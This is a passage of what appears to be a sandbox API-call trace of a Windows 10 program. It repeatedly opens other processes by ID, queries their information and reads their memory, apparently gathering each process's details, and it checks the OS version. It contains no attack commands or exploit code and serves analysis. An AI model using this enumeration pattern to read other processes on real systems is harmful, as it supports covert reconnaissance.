ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0203.084] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a8020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0203.085] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0203.085] malloc (_Size=0x4e) returned 0x20abc2a7a80 [0203.085] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a193e, lpBuffer=0x20abc2a7a80, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7a80*, lpNumberOfBytesRead=0x0) returned 1 [0203.086] free (_Block=0x20abc2a7a80) [0203.086] CloseHandle (hObject=0x464) returned 1 [0203.087] _ui64tow_s (in: _Value=0xffc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4092") returned 0x0 [0203.091] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4092") returned 4 [0203.093] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0203.093] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0203.395] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xffc) returned 0x464 [0203.395] GetLastError () returned 0x0 [0203.395] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0203.395] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x257018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0203.395] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0203.396] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x641ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0203.396] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6418f8, lpBuffer=0x2dc24fc2d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0203.397] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0203.398] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0203.398] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x257020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0203.398] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6412e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0203.398] malloc (_Size=0x6e) returned 0x20abc286890 [0203.398] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x64195e, lpBuffer=0x20abc286890, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0203.399] free (_Block=0x20abc286890) [0203.399] CloseHandle (hObject=0x464) returned 1 [0203.400] _ui64tow_s (in: _Value=0xb70, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2928") returned 0x0 [0203.404] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2928") returned 4 [0203.405] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0203.405] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0203.418] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb70) returned 0x464 [0203.418] GetLastError () returned 0x0 [0203.418] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0203.418] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a7018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0203.419] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0203.419] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x521cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0203.419] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5218f8, lpBuffer=0x2dc24fc2d0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0203.420] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0203.421] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0203.421] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a7020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0203.421] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5212e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0203.421] malloc (_Size=0x68) returned 0x20abc2807d0 [0203.421] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x521958, lpBuffer=0x20abc2807d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0203.422] free (_Block=0x20abc2807d0) [0203.684] CloseHandle (hObject=0x464) returned 1 [0203.684] _ui64tow_s (in: _Value=0x420, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1056") returned 0x0 [0203.689] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1056") returned 4 [0203.690] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0203.690] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0203.708] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x420) returned 0x464 [0203.708] GetLastError () returned 0x0 [0203.708] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0203.708] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x27e018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0203.708] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0203.709] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x111d10, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0203.709] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1118f8, lpBuffer=0x2dc24fc2d0, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0203.713] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0203.714] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0203.714] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x27e020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0203.714] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1112e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0203.714] malloc (_Size=0x7e) returned 0x20abc286890 [0203.714] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x11196e, lpBuffer=0x20abc286890, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0203.715] free (_Block=0x20abc286890) [0203.716] CloseHandle (hObject=0x464) returned 1 [0203.716] _ui64tow_s (in: _Value=0xec0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3776") returned 0x0 [0203.721] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3776") returned 4 [0203.722] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0203.722] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0203.965] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xec0) returned 0x464 [0203.965] GetLastError () returned 0x0 [0203.965] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0203.965] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b8018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0203.965] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0203.966] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x531d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0203.966] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5318f8, lpBuffer=0x2dc24fc2d0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0203.967] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0203.968] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0203.968] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b8020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0203.968] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5312e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0203.968] malloc (_Size=0x7a) returned 0x20abc286890 [0203.969] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x53196a, lpBuffer=0x20abc286890, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0203.969] free (_Block=0x20abc286890) [0203.970] CloseHandle (hObject=0x464) returned 1 [0203.971] _ui64tow_s (in: _Value=0x1004, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4100") returned 0x0 [0203.975] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4100") returned 4 [0203.976] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0203.976] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0204.275] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1004) returned 0x464 [0204.275] GetLastError () returned 0x0 [0204.275] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0204.275] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x350018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0204.275] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0204.276] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0204.276] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5118f8, lpBuffer=0x2dc24fc2d0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0204.277] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0204.278] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0204.278] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x350020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0204.278] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5112e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0204.278] malloc (_Size=0x78) returned 0x20abc282120 [0204.278] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0204.279] free (_Block=0x20abc282120) [0204.280] CloseHandle (hObject=0x464) returned 1 [0204.280] _ui64tow_s (in: _Value=0x1014, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4116") returned 0x0 [0204.284] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4116") returned 4 [0204.286] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0204.286] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0204.298] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1014) returned 0x464 [0204.298] GetLastError () returned 0x0 [0204.299] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0204.299] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x314018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0204.299] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0204.299] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0204.299] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc24fc2d0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0204.300] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0204.301] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0204.302] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x314020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0204.302] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0204.302] malloc (_Size=0x78) returned 0x20abc282120 [0204.302] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0204.303] free (_Block=0x20abc282120) [0204.304] CloseHandle (hObject=0x464) returned 1 [0204.304] _ui64tow_s (in: _Value=0x101c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4124") returned 0x0 [0204.307] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4124") returned 4 [0204.308] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0204.308] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0204.568] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x101c) returned 0x464 [0204.568] GetLastError () returned 0x0 [0204.568] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0204.568] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3c9018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0204.568] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0204.569] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e1cc0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0204.569] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e18f8, lpBuffer=0x2dc24fc2d0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0204.570] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0204.571] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0204.571] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3c9020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0204.571] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0204.571] malloc (_Size=0x64) returned 0x20abc2801b0 [0204.571] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e1954, lpBuffer=0x20abc2801b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0204.572] free (_Block=0x20abc2801b0) [0204.572] CloseHandle (hObject=0x464) returned 1 [0204.573] _ui64tow_s (in: _Value=0x1028, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4136") returned 0x0 [0204.576] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4136") returned 4 [0204.577] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0204.577] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0204.590] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1028) returned 0x464 [0204.590] GetLastError () returned 0x0 [0204.590] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0204.590] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d2018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0204.590] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, 